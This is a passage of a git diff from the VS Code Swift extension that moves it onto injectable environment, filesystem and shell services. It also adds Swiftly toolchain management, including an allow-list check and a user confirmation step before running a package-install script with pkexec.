"../WorkspaceContext"; import configuration from "../configuration"; import { SwiftLogger } from "../logging/SwiftLogger"; -import { SwiftToolchain } from "../toolchain/toolchain"; +import { SwiftToolchain } from "../toolchain/SwiftToolchain"; import { fileExists } from "../utilities/filesystem"; +import { Result } from "../utilities/result"; import { getErrorDescription, swiftRuntimeEnv } from "../utilities/utilities"; import { DebugAdapter, LaunchConfigType, SWIFT_LAUNCH_CONFIG_TYPE } from "./debugAdapter"; import { getLLDBLibPath, updateLaunchConfigForCI } from "./lldb"; @@ -204,16 +205,20 @@ export class LLDBDebugConfigurationProvider implements vscode.DebugConfiguration } async promptForCodeLldbSettings(toolchain: SwiftToolchain): Promise { - const libLldbPathResult = await getLLDBLibPath(toolchain); - if (!libLldbPathResult.success) { - const errorMessage = `Error: ${getErrorDescription(libLldbPathResult.failure)}`; - void vscode.window.showWarningMessage( - `Failed to setup CodeLLDB for debugging of Swift code. Debugging may produce unexpected results. ${errorMessage}` - ); - this.logger.error(`Failed to setup CodeLLDB: ${errorMessage}`); + const libLldbPath = (await getLLDBLibPath(toolchain)) + .flatMapError(error => { + const errorMessage = `Error: ${getErrorDescription(error)}`; + void vscode.window.showWarningMessage( + `Failed to setup CodeLLDB for debugging of Swift code. Debugging may produce unexpected results. ${errorMessage}` + ); + this.logger.error(`Failed to setup CodeLLDB: ${errorMessage}`); + return Result.success(""); + }) + .getOrThrow(); + if (libLldbPath === "") { return true; } - const libLldbPath = libLldbPathResult.success; + const lldbConfig = vscode.workspace.getConfiguration("lldb"); if ( lldbConfig.get("library") === libLldbPath && diff --git a/src/debugger/lldb.ts b/src/debugger/lldb.ts index 0a3cf6d80..35611ddcd 100644 --- a/src/debugger/lldb.ts +++ b/src/debugger/lldb.ts @@ -17,7 +17,7 @@ import * as fs from "fs/promises"; import * as path from "path"; import * as vscode from "vscode"; -import { SwiftToolchain } from "../toolchain/toolchain"; +import { SwiftToolchain } from "../toolchain/SwiftToolchain"; import { Result } from "../utilities/result"; import { IS_RUNNING_UNDER_TEST, execFile } from "../utilities/utilities"; @@ -45,12 +45,12 @@ export function updateLaunchConfigForCI( * * @returns Library path for LLDB */ -export async function getLLDBLibPath(toolchain: SwiftToolchain): Promise> { +export async function getLLDBLibPath(toolchain: SwiftToolchain): Promise> { let executable: string; try { executable = await toolchain.getLLDB(); } catch (error) { - return Result.makeFailure(error); + return Result.failure(error); } let pathHint = path.dirname(toolchain.swiftFolderPath); try { @@ -68,14 +68,14 @@ export async function getLLDBLibPath(toolchain: SwiftToolchain): Promise { checkAndWarnAboutWindowsSymlinks(logger); const contextKeys = createContextKeys(); - const toolchain = await createActiveToolchain(contextKeys, logger); + const fileSystem = createNodeFS(); + const environment = new NodeEnvironment(configuration); + const shell = new NodeShell(environment, configuration, logger); + const swiftly = new SwiftlyCLI(fileSystem, environment, shell, vscode.window, logger); + const toolchainService = new SwiftToolchainService( + fileSystem, + configuration, + environment, + shell, + vscode.window, + swiftly, + logger + ); + const globalToolchain = await createGlobalToolchain(toolchainService, contextKeys, logger); + + // Initialize the Swiftly context key + void swiftly.version().then(result => { + const version = result + .flatMapError(error => { + switch (error.code) { + case SwiftlyErrorCode.OS_NOT_SUPPORTED: + logger.debug(`Swiftly is not supported on ${process.platform}.`); + break; + case SwiftlyErrorCode.NOT_INSTALLED: + logger.debug("Swiftly is not installed on this system."); + break; + default: + logger.error(error); + break; + } + return Result.success(new SwiftlyVersion(0, 0, 0, true)); + }) + .getOrThrow(); + contextKeys.supportsSwiftlyInstall = version.supportsJSONOutput; + }); // If we don't have a toolchain, show an error and stop initializing the extension. // This can happen if the user has not installed Swift or if the toolchain is not // properly configured. - if (!toolchain) { + if (!globalToolchain) { // In order to select a toolchain we need to register the command first. - const subscriptions = commands.registerToolchainCommands(undefined, logger, undefined); + const subscriptions = commands.registerToolchainCommands( + undefined, + environment, + toolchainService, + swiftly + ); const chosenRemediation = await showToolchainError(); subscriptions.forEach(sub => sub.dispose()); @@ -94,15 +141,24 @@ export async function activate(context: vscode.ExtensionContext): Promise { } } - const workspaceContext = new WorkspaceContext(context, contextKeys, logger, toolchain); + const workspaceContext = new WorkspaceContext( + context, + swiftly, + contextKeys, + logger, + globalToolchain, + toolchainService + ); context.subscriptions.push(workspaceContext); context.subscriptions.push(new SwiftEnvironmentVariablesManager(context)); context.subscriptions.push(SwiftTerminalProfileProvider.register()); context.subscriptions.push( ...commands.registerToolchainCommands( - toolchain, - workspaceContext.logger, + globalToolchain, + environment, + toolchainService, + swiftly, workspaceContext.currentFolder?.folder ) ); @@ -251,12 +307,13 @@ function handleFolderEvent(logger: SwiftLogger): (event: FolderEvent) => Promise }; } -async function createActiveToolchain( +async function createGlobalToolchain( + toolchainFactory: ToolchainService, contextKeys: ContextKeys, logger: SwiftLogger ): Promise { try { - const toolchain = await SwiftToolchain.create(undefined, logger); + const toolchain = await toolchainFactory.create(process.cwd()); toolchain.logDiagnostics(logger); contextKeys.updateKeysBasedOnActiveVersion(toolchain.swiftVersion); return toolchain; diff --git a/src/logging/Logger.ts b/src/logging/Logger.ts new file mode 100644 index 000000000..e26bddf38 --- /dev/null +++ b/src/logging/Logger.ts @@ -0,0 +1,15 @@ +// Winston work off of "any" as meta data so creating this +// type so we don't have to disable ESLint many times below +// eslint-disable-next-line @typescript-eslint/no-explicit-any +export type LoggerMeta = any; +export type LogMessageOptions = { append: boolean }; + +export interface Logger { + debug(message: LoggerMeta, label?: string, options?: LogMessageOptions): void; + + info(message: LoggerMeta, label?: string, options?: LogMessageOptions): void; + + warn(message: LoggerMeta, label?: string, options?: LogMessageOptions): void; + + error(message: LoggerMeta, label?: string, options?: LogMessageOptions): void; +} diff --git a/src/logging/SwiftLogger.ts b/src/logging/SwiftLogger.ts index 006009a23..9cd2fa599 100644 --- a/src/logging/SwiftLogger.ts +++ b/src/logging/SwiftLogger.ts @@ -16,17 +16,12 @@ import * as winston from "winston"; import configuration from "../configuration"; import { IS_RUNNING_UNDER_TEST } from "../utilities/utilities"; +import { LogMessageOptions, Logger, LoggerMeta } from "./Logger"; import { OutputChannelTransport } from "./OutputChannelTransport"; import { RollingLog } from "./RollingLog"; import { RollingLogTransport } from "./RollingLogTransport"; -// Winston work off of "any" as meta data so creating this -// type so we don't have to disable ESLint many times below -// eslint-disable-next-line @typescript-eslint/no-explicit-any -type LoggerMeta = any; -type LogMessageOptions = { append: boolean }; - -export class SwiftLogger implements vscode.Disposable { +export class SwiftLogger implements Logger, vscode.Disposable { private disposables: vscode.Disposable[] = []; private logger: winston.Logger; protected rollingLog: RollingLog; diff --git a/src/services/Environment.ts b/src/services/Environment.ts new file mode 100644 index 000000000..cfcb33b53 --- /dev/null +++ b/src/services/Environment.ts @@ -0,0 +1,110 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as os from "os"; + +import configuration from "../configuration"; + +export interface Environment { + platform: NodeJS.Platform; + + env(): NodeJS.ProcessEnv; + + cwd(): string; + + homedir(): string; + + getExecutablePath(exe?: string): string; + + /** Return environment variable to update for runtime library search path */ + swiftLibraryPathKey(): string; + + /** + * Get required environment variable for Swift product + * + * @param base base environment configuration + * @returns minimal required environment for Swift product + */ + swiftRuntimeEnv( + base?: NodeJS.ProcessEnv | boolean, + runtimePath?: string + ): { [key: string]: string } | undefined; +} + +export class NodeEnvironment implements Environment { + platform: NodeJS.Platform; + + constructor(private readonly config: typeof configuration) { + this.platform = process.platform; + } + + env(): NodeJS.ProcessEnv { + return process.env; + } + + cwd(): string { + return process.cwd(); + } + + homedir(): string { + return os.homedir(); + } + + getExecutablePath(exe: string): string { + // should we add `.exe` at the end of the executable name + const windowsExeSuffix = this.platform === "win32" ? ".exe" : ""; + return `${exe}${windowsExeSuffix}`; + } + + swiftLibraryPathKey(): string { + switch (this.platform) { + case "win32": + return "Path"; + case "darwin": + return "DYLD_LIBRARY_PATH"; + default: + return "LD_LIBRARY_PATH"; + } + } + + swiftRuntimeEnv( + base: NodeJS.ProcessEnv | boolean = process.env, + runtimePath: string = this.config.runtimePath + ): { [key: string]: string } | undefined { + const key = this.swiftLibraryPathKey(); + const separator = process.platform === "win32" ? ";" : ":"; + switch (base) { + case false: + base = {}; + break; + case true: + base = { [key]: `\${env:${key}}` }; + break; + default: + break; + } + return this.runtimeEnv(base, key, runtimePath, separator); + } + + private runtimeEnv( + base: NodeJS.ProcessEnv, + key: string, + value: string, + separator: string + ): { [key: string]: string } | undefined { + if (value === "") { + return undefined; + } + return base[key] ? { [key]: `${value}${separator}${base[key]}` } : { [key]: value }; + } +} diff --git a/src/services/FileSystem.ts b/src/services/FileSystem.ts new file mode 100644 index 000000000..36785d9ab --- /dev/null +++ b/src/services/FileSystem.ts @@ -0,0 +1,75 @@ +import * as fs from "fs"; +import * as fsPromises from "fs/promises"; +import * as os from "os"; +import * as path from "path"; + +type Export = { [P in K]: T[K] }; + +export type FileSystem = typeof fsPromises & + CustomFileSystemMethods & + Export; + +interface CustomFileSystemMethods { + /** + * Generate temporary filename, run a process and delete file with filename once that + * process has finished. + * + * @param prefix File prefix + * @param process Process to run + * @returns return value of process + */ + withTemporaryDirectory( + prefix: string, + process: (directory: string) => Promise + ): Promise; + + /** + * Checks if a file, directory or symlink exists at the supplied path. + * @param pathComponents The path to check for existence + * @returns Whether or not an entity exists at the path + */ + pathExists(...pathComponents: string[]): Promise; + + /** + * Checks if a file exists at the supplied path. + * @param pathComponents The file path to check for existence + * @returns Whether or not the file exists at the path + */ + fileExists(...pathComponents: string[]): Promise; +} + +export function createNodeFS(): FileSystem { + return { + async withTemporaryDirectory( + prefix: string, + body: (directory: string) => Promise + ): Promise { + const directory = await fsPromises.mkdtemp(path.join(os.tmpdir(), prefix)); + try { + return await body(directory); + } finally { + fsPromises + .rm(directory, { force: true, recursive: true }) + // Ignore any errors that arise as a result of removing the directory + .catch(() => {}); + } + }, + async pathExists(...pathComponents: string[]): Promise { + try { + await fsPromises.access(path.join(...pathComponents)); + return true; + } catch { + return false; + } + }, + async fileExists(...pathComponents: string[]): Promise { + try { + return (await fsPromises.stat(path.join(...pathComponents))).isFile(); + } catch (e) { + return false; + } + }, + createReadStream: fs.createReadStream, + ...fsPromises, + }; +} diff --git a/src/services/Shell.ts b/src/services/Shell.ts new file mode 100644 index 000000000..4ce21f01f --- /dev/null +++ b/src/services/Shell.ts @@ -0,0 +1,219 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as cp from "child_process"; +import * as stream from "stream"; +import { CancellationToken, Disposable } from "vscode"; + +import { FolderContext } from "../FolderContext"; +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { SwiftToolchain } from "../toolchain/SwiftToolchain"; +import { Environment } from "./Environment"; + +export interface Shell { + /** + * Asynchronous wrapper around {@link cp.execFile child_process.execFile}. + * + * Assumes output will be a string + * + * @param executable name of executable to run + * @param args arguments to be passed to executable + * @param options execution options + */ + execFile( + executable: string, + args: string[], + options?: cp.ExecFileOptions, + customSwiftRuntime?: boolean + ): Promise<{ stdout: string; stderr: string }>; + + execFileStreamOutput( + executable: string, + args: string[], + stdout: stream.Writable | null, + stderr: stream.Writable | null, + token: CancellationToken | null, + options?: cp.ExecFileOptions, + folderContext?: FolderContext, + customSwiftRuntime?: boolean, + killSignal?: NodeJS.Signals + ): Promise; + + /** + * Asynchronous wrapper around {@link cp.execFile child_process.execFile} running + * swift executable + * + * @param args array of arguments to pass to swift executable + * @param options execution options + * @param setSDKFlags whether to set SDK flags + */ + execSwift( + args: string[], + toolchain: SwiftToolchain | "default" | { swiftExecutable: string }, + options?: cp.ExecFileOptions, + folderContext?: FolderContext + ): Promise<{ stdout: string; stderr: string }>; + + findBinaryPath(binaryName: string, options?: cp.ExecFileOptions): Promise; +} + +export class NodeShell implements Shell { + constructor( + private readonly environment: Environment, + private readonly config: typeof configuration, + private readonly logger: SwiftLogger + ) {} + + execFile( + executable: string, + args: string[], + options: cp.ExecFileOptions = {}, + customSwiftRuntime: boolean = true + ): Promise<{ stdout: string; stderr: string }> { + if (customSwiftRuntime) { + const runtimeEnv = this.environment.swiftRuntimeEnv(options.env); + if (runtimeEnv && Object.keys(runtimeEnv).length > 0) { + options.env = { ...(options.env ?? process.env), ...runtimeEnv }; + } + } + options = { + ...options, + maxBuffer: options.maxBuffer ?? 1024 * 1024 * 64, // 64MB + }; + return new Promise<{ stdout: string; stderr: string }>((resolve, reject) => { + cp.execFile(executable, args, options, (error, stdout, stderr) => { + if (error) { + reject(error); + } else { + resolve({ stdout: stdout.toString(), stderr: stderr.toString() }); + } + }); + }); + } + + async execFileStreamOutput( + executable: string, + args: string[], + stdout: stream.Writable | null, + stderr: stream.Writable | null, + token: CancellationToken | null, + options: cp.ExecFileOptions = {}, + folderContext?: FolderContext, + customSwiftRuntime = true, + killSignal: NodeJS.Signals = "SIGTERM" + ): Promise { + folderContext?.workspaceContext.logger.debug( + `Exec: ${executable} ${args.join(" ")}`, + folderContext.name + ); + if (customSwiftRuntime) { + const runtimeEnv = this.environment.swiftRuntimeEnv(options.env); + if (runtimeEnv && Object.keys(runtimeEnv).length > 0) { + options.env = { ...(options.env ?? process.env), ...runtimeEnv }; + } + } + return new Promise((resolve, reject) => { + let cancellation: Disposable; + const p = cp.execFile(executable, args, options, error => { + if (error) { + reject(error); + } else { + resolve(); + } + if (cancellation) { + cancellation.dispose(); + } + }); + if (stdout) { + p.stdout?.pipe(stdout); + } + if (stderr) { + p.stderr?.pipe(stderr); + } + if (token) { + cancellation = token.onCancellationRequested(() => { + p.kill(killSignal); + }); + } + }); + } + + async execSwift( + args: string[], + toolchain: SwiftToolchain | "default" | { swiftExecutable: string }, + options: cp.ExecFileOptions = {} + ): Promise<{ stdout: string; stderr: string }> { + let swift: string; + if (typeof toolchain === "object" && "swiftExecutable" in toolchain) { + swift = toolchain.swiftExecutable; + } else if (toolchain === "default") { + swift = this.environment.getExecutablePath(); + } else { + swift = toolchain.getToolchainExecutable("swift"); + args = toolchain.buildFlags.withAdditionalFlags(args); + } + if (Object.keys(this.config.swiftEnvironmentVariables).length > 0) { + // when adding environment vars we either combine with vars passed + // into the function or the process environment vars + options.env = { + ...(options.env ?? process.env), + ...this.config.swiftEnvironmentVariables, + }; + } + options = { + ...options, + maxBuffer: options.maxBuffer ?? 1024 * 1024 * 64, // 64MB + }; + return await this.execFile(swift, args, options); + } + + async findBinaryPath(binaryName: string, options: cp.ExecFileOptions = {}): Promise { + switch (this.environment.platform) { + case "darwin": { + const { stdout } = await this.execFile("which", [binaryName], options); + return stdout.trimEnd(); + } + case "win32": { + const { stdout } = await this.execFile("where", [binaryName], options); + const paths = stdout.trimEnd().split("\r\n"); + if (paths.length > 1) { + void this.logger.warn( + `Found multiple executables of the same name in %PATH%. Using excutable found at ${paths[0]}.` + ); + } + return paths[0]; + } + default: { + // use `type swift` to find `swift`. Run inside /bin/sh to ensure + // we get consistent output as different shells output a different + // format. Tried running with `-p` but that is not available in /bin/sh + const { stdout, stderr } = await this.execFile( + "/bin/sh", + ["-c", `LC_MESSAGES=C type ${binaryName}`], + options + ); + const binaryNameMatch = new RegExp(`^${binaryName} is (.*)$`).exec( + stdout.trimEnd() + ); + if (binaryNameMatch) { + return binaryNameMatch[1]; + } else { + throw Error( + `/bin/sh -c LC_MESSAGES=C type ${binaryName}: stdout: ${stdout}, stderr: ${stderr}` + ); + } + } + } + } +} diff --git a/src/swiftly/Swiftly.ts b/src/swiftly/Swiftly.ts new file mode 100644 index 000000000..21306f4de --- /dev/null +++ b/src/swiftly/Swiftly.ts @@ -0,0 +1,528 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { ExecFileException } from "child_process"; +import * as path from "path"; +import * as readline from "readline"; +import * as stream from "stream"; +import type * as vscode from "vscode"; + +import { Logger } from "../logging/Logger"; +import { Environment } from "../services/Environment"; +import { FileSystem } from "../services/FileSystem"; +import { Shell } from "../services/Shell"; +import { Result } from "../utilities/result"; +import { SwiftlyError } from "./SwiftlyError"; +import { SwiftlyVersion } from "./SwiftlyVersion"; +import { + AvailableToolchain, + InUseVersionResult, + ListAvailable, + PostInstallValidationResult, + SwiftlyList, + SwiftlyProgressData, +} from "./types"; + +interface SwiftlyToolchainInfo { + name: string; + location: string; +} + +export interface Swiftly { + isSupported(): boolean; + + isInstalled(): Promise; + + version(): Promise>; + + isSwiftlyToolchain(swiftBinary: string): Promise; + + getActiveToolchain(cwd: string): Promise>; + + getInstalledToolchains(): Promise>; + + use(version: string): Promise>; + + getAvailableToolchains(branch?: string): Promise>; + + installToolchain( + version: string, + progressCallback?: (progressData: SwiftlyProgressData) => void + ): Promise>; +} + +export class SwiftlyCLI implements Swiftly { + constructor( + private readonly fs: FileSystem, + private readonly env: Environment, + private readonly shell: Shell, + private readonly window: typeof vscode.window, + private readonly logger: Logger + ) {} + + isSupported(): boolean { + return ["darwin", "linux"].includes(this.env.platform); + } + + async isInstalled(): Promise { + return (await this.version()) + .map(() => true) + .flatMapError(() => Result.success(false)) + .getOrThrow(); + } + + version(): Promise> { + return this.resultWithSwiftlyError(async () => { + const { stdout } = await this.execSwiftly(["--version"]); + return SwiftlyVersion.fromString(stdout.trim()); + }); + } + + async isSwiftlyToolchain(swiftBinary: string): Promise { + const swiftlyHomeDir: string | undefined = this.env.env()["SWIFTLY_HOME_DIR"]; + if (!swiftlyHomeDir) { + return false; + } + const realSwiftBinary = await this.fs.realpath(swiftBinary); + return realSwiftBinary.startsWith(swiftlyHomeDir); + } + + getActiveToolchain(cwd: string): Promise> { + return this.resultWithSwiftlyError(async () => { + const [name, location] = await Promise.all([ + // Get the name of the active toolchain + this.version().then(async versionResult => { + const swiftlyVersion = versionResult.getOrThrow(); + if (!swiftlyVersion.supportsJSONOutput) { + // Older versions of Swiftly do not support JSON output formatting. + // So, we have to read Swiftly's config.json directly. + const swiftlyHomeDir: string | undefined = + this.env.env()["SWIFTLY_HOME_DIR"]; + if (!swiftlyHomeDir) { + throw SwiftlyError.unknown({ + message: "Unable to find $SWIFTLY_HOME_DIR environment variable.", + }); + } + const swiftlyConfig = JSON.parse( + await this.fs.readFile( + path.join(swiftlyHomeDir, "config.json"), + "utf-8" + ) + ); + if (!swiftlyConfig || !("inUse" in swiftlyConfig)) { + throw SwiftlyError.unknown({ + message: + "Property 'inUse' was not found in the Swiftly configuration file.", + }); + } + if (typeof swiftlyConfig.inUse !== "string") { + throw SwiftlyError.unknown({ + message: + "Property 'inUse' was not a string in the Swiftly configuration file", + }); + } + return swiftlyConfig.inUse; + } + + const { stdout } = await this.execSwiftly(["use", "--format=json"], { cwd }); + const result = InUseVersionResult.parse(JSON.parse(stdout)); + return result.version; + }), + // Get the path to the active toolchain + this.execSwiftly(["use", "--print-location"], { cwd }).then(result => + result.stdout.trim() + ), + ]); + return { name, location }; + }); + } + + getInstalledToolchains(): Promise> { + return this.resultWithSwiftlyError(async () => { + const version = (await this.version()).getOrThrow(); + if (!version.supportsJSONOutput) { + // Older versions of Swiftly do not support JSON output formatting. + // So, we have to read Swiftly's config.json directly. + const swiftlyHomeDir: string | undefined = this.env.env()["SWIFTLY_HOME_DIR"]; + if (!swiftlyHomeDir) { + throw SwiftlyError.unknown({ + message: "Unable to find $SWIFTLY_HOME_DIR environment variable.", + }); + } + const swiftlyConfig = JSON.parse( + await this.fs.readFile(path.join(swiftlyHomeDir, "config.json"), "utf-8") + ); + if (!swiftlyConfig || !("installedToolchains" in swiftlyConfig)) { + throw SwiftlyError.unknown({ + message: + "Property 'installedToolchains' was not found in the Swiftly configuration file.", + }); + } + const installedToolchains = swiftlyConfig.installedToolchains; + if (!Array.isArray(installedToolchains)) { + throw SwiftlyError.unknown({ + message: + "Property 'installedToolchains' in the Swiftly configuration file is not an array.", + }); + } + return installedToolchains.filter((t): t is string => typeof t === "string"); + } + + const { stdout } = await this.execSwiftly(["list", "--format=json"]); + const response = SwiftlyList.parse(JSON.parse(stdout)); + return response.toolchains.map(t => t.version.name); + }); + } + + use(version: string): Promise> { + return this.resultWithSwiftlyError(async () => { + await this.execSwiftly(["use", version]); + }); + } + + async getAvailableToolchains( + branch?: string + ): Promise> { + return this.resultWithSwiftlyError(async () => { + const version = (await this.version()).getOrThrow(); + if (!version.supportsJSONOutput) { + throw SwiftlyError.methodNotSupported({ + message: + "Unable to list available toolchains as Swiftly does not support JSON output.", + }); + } + + const args = ["list-available", "--format=json"]; + if (branch) { + args.push(branch); + } + const { stdout } = await this.execSwiftly(args); + const stdoutJSON = JSON.parse(stdout); + return ListAvailable.parse(stdoutJSON).toolchains; + }); + } + + async installToolchain( + version: string, + progressCallback?: (progressData: SwiftlyProgressData) => void + ): Promise> { + return this.resultWithSwiftlyError(async () => { + const swiftlyVersion = (await this.version()).getOrThrow(); + if (!swiftlyVersion.supportsJSONOutput) { + throw SwiftlyError.methodNotSupported({ + message: + "Unable to install toolchain because Swiftly does not support JSON output.", + }); + } + + this.logger.info(`Installing toolchain ${version} via swiftly`); + + return this.fs.withTemporaryDirectory("vscode-swiftly-install-", async tmpDir => { + const promises: Promise[] = []; + const postInstallFilePath = path.join(tmpDir, `post-install-${version}.sh`); + const installArgs = [ + "install", + version, + "--use", + "--assume-yes", + "--post-install-file", + postInstallFilePath, + ]; + + if (progressCallback) { + const progressPipePath = path.join(tmpDir, `progress-${version}.pipe`); + installArgs.push("--progress-file", progressPipePath); + + await this.shell.execFile("mkfifo", [progressPipePath]); + + promises.push( + new Promise((resolve, reject) => { + const rl = readline.createInterface({ + input: this.fs.createReadStream(progressPipePath), + crlfDelay: Infinity, + }); + + rl.on("line", (line: string) => { + try { + const progressData = JSON.parse( + line.trim() + ) as SwiftlyProgressData; + progressCallback(progressData); + } catch (err) { + this.logger.error(`Failed to parse progress line: ${err}`); + } + }); + + rl.on("close", () => { + resolve(); + }); + + rl.on("error", err => { + reject(err); + }); + }) + ); + } + + await Promise.all([this.execSwiftly(installArgs), ...promises]); + + if (this.env.platform === "linux") { + await this.handlePostInstallFile(postInstallFilePath, version); + } + }); + }); + } + + /** + * Handles post-install file created by swiftly installation (Linux only) + * + * @param postInstallFilePath Path to the post-install script + * @param version The toolchain version being installed + * @param logger Optional logger for error reporting + */ + private async handlePostInstallFile( + postInstallFilePath: string, + version: string + ): Promise { + try { + await this.fs.access(postInstallFilePath); + } catch { + this.logger.info(`No post-install steps required for toolchain ${version}`); + return; + } + + this.logger.info(`Post-install file found for toolchain ${version}`); + + const validation = await this.validatePostInstallScript(postInstallFilePath); + + if (!validation.isValid) { + const errorMessage = `Post-install script contains unsafe commands. Invalid commands: ${validation.invalidCommands?.join(", ")}`; + this.logger.error(errorMessage); + void this.window.showErrorMessage( + `Installation of Swift ${version} requires additional system packages, but the post-install script contains commands that are not allowed for security reasons.` + ); + return; + } + + const shouldExecute = await this.showPostInstallConfirmation(version, validation); + + if (shouldExecute) { + await this.executePostInstallScript(postInstallFilePath, version); + } else { + this.logger.warn(`Swift ${version} post-install script execution cancelled by user`); + void this.window.showWarningMessage( + `Swift ${version} installation is incomplete. You may need to manually install additional system packages.` + ); + } + } + + /** + * Validates post-install script commands against allow-list patterns. + * Supports apt-get and yum package managers only. + * + * @param postInstallFilePath Path to the post-install script + * @param logger Optional logger for error reporting + * @returns Validation result with command summary + */ + private async validatePostInstallScript( + postInstallFilePath: string + ): Promise { + try { + const scriptContent = await this.fs.readFile(postInstallFilePath, "utf-8"); + const lines = scriptContent + .split("\n") + .filter(line => line.trim() && !line.trim().startsWith("#")); + + const allowedPatterns = [ + /^apt-get\s+-y\s+install(\s+[A-Za-z0-9\-_.+]+)+\s*$/, // apt-get -y install packages + /^yum\s+install(\s+[A-Za-z0-9\-_.+]+)+\s*$/, // yum install packages + /^\s*$|^#.*$/, // empty lines and comments + ]; + + const invalidCommands: string[] = []; + const packageInstallCommands: string[] = []; + + for (const line of lines) { + const trimmedLine = line.trim(); + if (!trimmedLine) { + continue; + } + + const isValid = allowedPatterns.some(pattern => pattern.test(trimmedLine)); + + if (!isValid) { + invalidCommands.push(trimmedLine); + } else if (trimmedLine.includes("install")) { + packageInstallCommands.push(trimmedLine); + } + } + + const isValid = invalidCommands.length === 0; + + let summary = "The script will perform the following actions:\n"; + if (packageInstallCommands.length > 0) { + summary += `• Install system packages using package manager\n`; + summary += `• Commands: ${packageInstallCommands.join("; ")}`; + } else { + summary += "• No package installations detected"; + } + + return { + isValid, + summary, + invalidCommands: invalidCommands.length > 0 ? invalidCommands : undefined, + }; + } catch (error) { + this.logger.error(`Failed to validate post-install script: ${error}`); + return { + isValid: false, + summary: "Failed to read post-install script", + invalidCommands: ["Unable to read script file"], + }; + } + } + + /** + * Shows confirmation dialog to user for executing post-install script + * + * @param version The toolchain version being installed + * @param validation The validation result + * @param logger + * @returns Promise resolving to user's decision + */ + private async showPostInstallConfirmation( + version: string, + validation: PostInstallValidationResult + ): Promise { + const summaryLines = validation.summary.split("\n"); + const firstTwoLines = summaryLines.slice(0, 2).join("\n"); + + const message = + `Swift ${version} installation requires additional system packages to be installed. ` + + `This will require administrator privileges.\n\n${firstTwoLines}\n\n` + + `Do you want to proceed with running the post-install script?`; + + this.logger.warn( + `User confirmation required to execute post-install script for Swift ${version} installation, + this requires ${firstTwoLines} permissions.` + ); + const choice = await this.window.showWarningMessage( + message, + { modal: true }, + "Execute Script", + "Cancel" + ); + + return choice === "Execute Script"; + } + + /** + * Executes post-install script with elevated permissions (Linux only) + * + * @param postInstallFilePath Path to the post-install script + * @param version The toolchain version being installed + * @param logger Optional logger for error reporting + */ + private async executePostInstallScript( + postInstallFilePath: string, + version: string + ): Promise { + this.logger.info(`Executing post-install script for toolchain ${version}`); + + const outputChannel = this.window.createOutputChannel(`Swift ${version} Post-Install`); + + try { + outputChannel.show(true); + outputChannel.appendLine(`Executing post-install script for Swift ${version}...`); + outputChannel.appendLine(`Script location: ${postInstallFilePath}`); + outputChannel.appendLine(""); + + await this.shell.execFile("chmod", ["+x", postInstallFilePath]); + + const command = "pkexec"; + const args = [postInstallFilePath]; + + outputChannel.appendLine(`Executing: ${command} ${args.join(" ")}`); + outputChannel.appendLine(""); + + const outputStream = new stream.Writable({ + write(chunk, _encoding, callback) { + const text = chunk.toString(); + outputChannel.append(text); + callback(); + }, + }); + + await this.shell.execFileStreamOutput( + command, + args, + outputStream, + outputStream, + null, + {} + ); + + outputChannel.appendLine(""); + outputChannel.appendLine( + `Post-install script completed successfully for Swift ${version}` + ); + + void this.window.showInformationMessage( + `Swift ${version} post-install script executed successfully. Additional system packages have been installed.` + ); + } catch (error) { + const errorMsg = `Failed to execute post-install script: ${error}`; + this.logger.error(errorMsg); + outputChannel.appendLine(""); + outputChannel.appendLine(`Error: ${errorMsg}`); + + void this.window.showErrorMessage( + `Failed to execute post-install script for Swift ${version}. Check the output channel for details.` + ); + } + } + + private async execSwiftly( + args: string[], + options: { cwd?: string } = {} + ): Promise<{ stdout: string; stderr: string }> { + try { + return await this.shell.execFile("swiftly", args, { cwd: options.cwd }); + } catch (error) { + if ((error as ExecFileException).code === "ENOENT") { + throw SwiftlyError.notInstalled({ cause: error }); + } + throw error; + } + } + async resultWithSwiftlyError( + body: () => Promise, + transformError?: (error: unknown) => SwiftlyError + ): Promise> { + if (!this.isSupported()) { + return Result.failure(SwiftlyError.osNotSupported()); + } + + try { + return Result.success(await body()); + } catch (error) { + if (error instanceof SwiftlyError) { + return Result.failure(error); + } + if (!transformError) { + return Result.failure(SwiftlyError.unknown({ cause: error })); + } + return Result.failure(transformError(error)); + } + } +} diff --git a/src/swiftly/SwiftlyError.ts b/src/swiftly/SwiftlyError.ts new file mode 100644 index 000000000..b289a16bb --- /dev/null +++ b/src/swiftly/SwiftlyError.ts @@ -0,0 +1,70 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +export const enum SwiftlyErrorCode { + /** Swiftly is not supported on this OS. */ + OS_NOT_SUPPORTED = "OS_NOT_SUPPORTED", + /** Swiftly is not installed on this system. */ + NOT_INSTALLED = "NOT_INSTALLED", + /** The current version of Swiftly does not support this method. */ + METHOD_NOT_SUPPORTED = "METHOD_NOT_SUPPORTED", + /** An unexpected error occurred. */ + UNKNOWN = "UNKNOWN", +} + +function humanReadableErrorCode(code: SwiftlyErrorCode): string { + switch (code) { + case SwiftlyErrorCode.OS_NOT_SUPPORTED: + return "Swiftly is not supported on this OS."; + case SwiftlyErrorCode.NOT_INSTALLED: + return "Swiftly is not installed."; + case SwiftlyErrorCode.METHOD_NOT_SUPPORTED: + return "This method is not supported by Swiftly."; + case SwiftlyErrorCode.UNKNOWN: + return "An unknown error occurred."; + } +} + +/** + 